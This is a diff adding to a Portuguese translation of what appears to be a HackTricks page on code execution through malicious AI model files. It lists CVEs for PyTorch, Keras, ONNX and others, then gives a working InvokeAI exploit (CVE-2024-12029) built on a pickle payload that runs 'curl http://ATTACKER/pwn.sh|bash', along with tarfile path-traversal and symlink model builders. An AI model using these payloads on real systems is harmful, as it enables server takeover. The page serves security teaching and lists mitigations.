Translated ['src/AI/AI-Models-RCE.md'] to pt

src/AI/AI-Models-RCE.md

@@ -13,11 +13,11 @@ No momento da escrita, estes são alguns exemplos desse tipo de vulnerabilidades
 | **PyTorch** (Python)        | *Desserialização insegura em* `torch.load` **(CVE-2025-32434)**                                                            | Pickle malicioso no ponto de verificação do modelo leva à execução de código (contornando a proteção `weights_only`)                    | |
 | PyTorch **TorchServe**      | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471**                                                                        | SSRF + download de modelo malicioso causa execução de código; RCE de desserialização Java na API de gerenciamento                       | |
 | **TensorFlow/Keras**        | **CVE-2021-37678** (YAML inseguro) <br> **CVE-2024-3660** (Keras Lambda)                                                   | Carregar modelo de YAML usa `yaml.unsafe_load` (execução de código) <br> Carregar modelo com camada **Lambda** executa código Python arbitrário | |
-| TensorFlow (TFLite)         | **CVE-2022-23559** (análise TFLite)                                                                                         | Modelo `.tflite` elaborado provoca estouro de inteiro → corrupção de heap (potencial RCE)                                             | |
+| TensorFlow (TFLite)         | **CVE-2022-23559** (análise TFLite)                                                                                         | Modelo `.tflite` malformado aciona estouro de inteiro → corrupção de heap (potencial RCE)                                             | |
 | **Scikit-learn** (Python)   | **CVE-2020-13092** (joblib/pickle)                                                                                          | Carregar um modelo via `joblib.load` executa pickle com o payload `__reduce__` do atacante                                             | |
-| **NumPy** (Python)          | **CVE-2019-6446** (inseguro `np.load`) *disputado*                                                                         | `numpy.load` padrão permitia arrays de objetos pickle – `.npy/.npz` malicioso provoca execução de código                                | |
+| **NumPy** (Python)          | **CVE-2019-6446** (inseguro `np.load`) *disputado*                                                                          | `numpy.load` padrão permitia arrays de objetos pickle – `.npy/.npz` malicioso aciona execução de código                                 | |
 | **ONNX / ONNX Runtime**     | **CVE-2022-25882** (traversal de diretório) <br> **CVE-2024-5187** (traversal tar)                                         | O caminho de pesos externos do modelo ONNX pode escapar do diretório (ler arquivos arbitrários) <br> Modelo ONNX malicioso tar pode sobrescrever arquivos arbitrários (levando a RCE) | |
-| ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle                                                               | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | |
+| ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle                                                              | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | |
 | **NVIDIA Triton Server**    | **CVE-2023-31036** (traversal de caminho)                                                                                   | Usar a API de carregamento de modelo com `--model-control` habilitado permite traversal de caminho relativo para escrever arquivos (por exemplo, sobrescrever `.bashrc` para RCE) | |
 | **GGML (formato GGUF)**     | **CVE-2024-25664 … 25668** (múltiplos estouros de heap)                                                                     | Arquivo de modelo GGUF malformado causa estouros de buffer de heap no parser, permitindo execução de código arbitrário no sistema da vítima | |
 | **Keras (formatos antigos)** | *(Sem nova CVE)* Modelo Keras H5 legado                                                                                     | Modelo HDF5 malicioso (`.h5`) com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”) | |
@@ -25,7 +25,76 @@ No momento da escrita, estes são alguns exemplos desse tipo de vulnerabilidades
 
 Além disso, existem alguns modelos baseados em pickle do Python, como os usados pelo [PyTorch](https://github.com/pytorch/pytorch/security), que podem ser usados para executar código arbitrário no sistema se não forem carregados com `weights_only=True`. Portanto, qualquer modelo baseado em pickle pode ser especialmente suscetível a esse tipo de ataque, mesmo que não esteja listado na tabela acima.
 
-Exemplo:
+### 🆕  InvokeAI RCE via `torch.load` (CVE-2024-12029)
+
+`InvokeAI` é uma interface web de código aberto popular para Stable-Diffusion. As versões **5.3.1 – 5.4.2** expõem o endpoint REST `/api/v2/models/install` que permite aos usuários baixar e carregar modelos de URLs arbitrárias.
+
+Internamente, o endpoint eventualmente chama:
+```python
+checkpoint = torch.load(path, map_location=torch.device("meta"))
+```
+Quando o arquivo fornecido é um **PyTorch checkpoint (`*.ckpt`)**, `torch.load` realiza uma **desserialização pickle**. Como o conteúdo vem diretamente da URL controlada pelo usuário, um atacante pode incorporar um objeto malicioso com um método `__reduce__` personalizado dentro do checkpoint; o método é executado **durante a desserialização**, levando à **execução remota de código (RCE)** no servidor InvokeAI.
+
+A vulnerabilidade foi atribuída como **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
+
+#### Passo a passo da exploração
+
+1. Crie um checkpoint malicioso:
+```python
+# payload_gen.py
+import pickle, torch, os
+
+class Payload:
+def __reduce__(self):
+return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
+
+with open("payload.ckpt", "wb") as f:
+pickle.dump(Payload(), f)
+```
+2. Hospede `payload.ckpt` em um servidor HTTP que você controla (por exemplo, `http://ATTACKER/payload.ckpt`).
+3. Acione o endpoint vulnerável (sem autenticação necessária):
+```python
+import requests
+
+requests.post(
+"http://TARGET:9090/api/v2/models/install",
+params={
+"source": "http://ATTACKER/payload.ckpt",  # remote model URL
+"inplace": "true",                         # write inside models dir
+# the dangerous default is scan=false → no AV scan
+},
+json={},                                         # body can be empty
+timeout=5,
+)
+```
+4. Quando o InvokeAI baixa o arquivo, ele chama `torch.load()` → o gadget `os.system` é executado e o atacante ganha execução de código no contexto do processo InvokeAI.
+
+Exploit pronto: **Módulo Metasploit** `exploit/linux/http/invokeai_rce_cve_2024_12029` automatiza todo o fluxo.
+
+#### Condições
+
+•  InvokeAI 5.3.1-5.4.2 (flag de scan padrão **false**)
+•  `/api/v2/models/install` acessível pelo atacante
+•  O processo tem permissões para executar comandos de shell
+
+#### Mitigações
+
+* Atualize para **InvokeAI ≥ 5.4.3** – o patch define `scan=True` por padrão e realiza a verificação de malware antes da desserialização.
+* Ao carregar checkpoints programaticamente, use `torch.load(file, weights_only=True)` ou o novo [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
+* Imponha listas de permissão / assinaturas para fontes de modelos e execute o serviço com o menor privilégio.
+
+> ⚠️ Lembre-se de que **qualquer** formato baseado em pickle do Python (incluindo muitos arquivos `.pt`, `.pkl`, `.ckpt`, `.pth`) é inerentemente inseguro para desserializar de fontes não confiáveis.
+
+---
+
+Exemplo de uma mitigação ad-hoc se você precisar manter versões mais antigas do InvokeAI em execução atrás de um proxy reverso:
+```nginx
+location /api/v2/models/install {
+deny all;                       # block direct Internet access
+allow 10.0.0.0/8;               # only internal CI network can call it
+}
+```
+## Exemplo – criando um modelo PyTorch malicioso
 
 - Crie o modelo:
 ```python
@@ -62,4 +131,41 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
 
 # /tmp/pwned.txt is created even if you get an error
 ```
+## Modelos para Traversal de Caminho
+
+Como comentado em [**este post de blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), a maioria dos formatos de modelos usados por diferentes frameworks de IA é baseada em arquivos compactados, geralmente `.zip`. Portanto, pode ser possível abusar desses formatos para realizar ataques de traversal de caminho, permitindo ler arquivos arbitrários do sistema onde o modelo é carregado.
+
+Por exemplo, com o seguinte código você pode criar um modelo que criará um arquivo no diretório `/tmp` quando carregado:
+```python
+import tarfile
+
+def escape(member):
+member.name = "../../tmp/hacked"     # break out of the extract dir
+return member
+
+with tarfile.open("traversal_demo.model", "w:gz") as tf:
+tf.add("harmless.txt", filter=escape)
+```
+Ou, com o seguinte código, você pode criar um modelo que criará um symlink para o diretório `/tmp` quando carregado:
+```python
+import tarfile, pathlib
+
+TARGET  = "/tmp"        # where the payload will land
+PAYLOAD = "abc/hacked"
+
+def link_it(member):
+member.type, member.linkname = tarfile.SYMTYPE, TARGET
+return member
+
+with tarfile.open("symlink_demo.model", "w:gz") as tf:
+tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
+tf.add(PAYLOAD)                      # rides the symlink
+```
+## Referências
+
+- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
+- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
+- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
+- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
+
 {{#include ../banners/hacktricks-training.md}}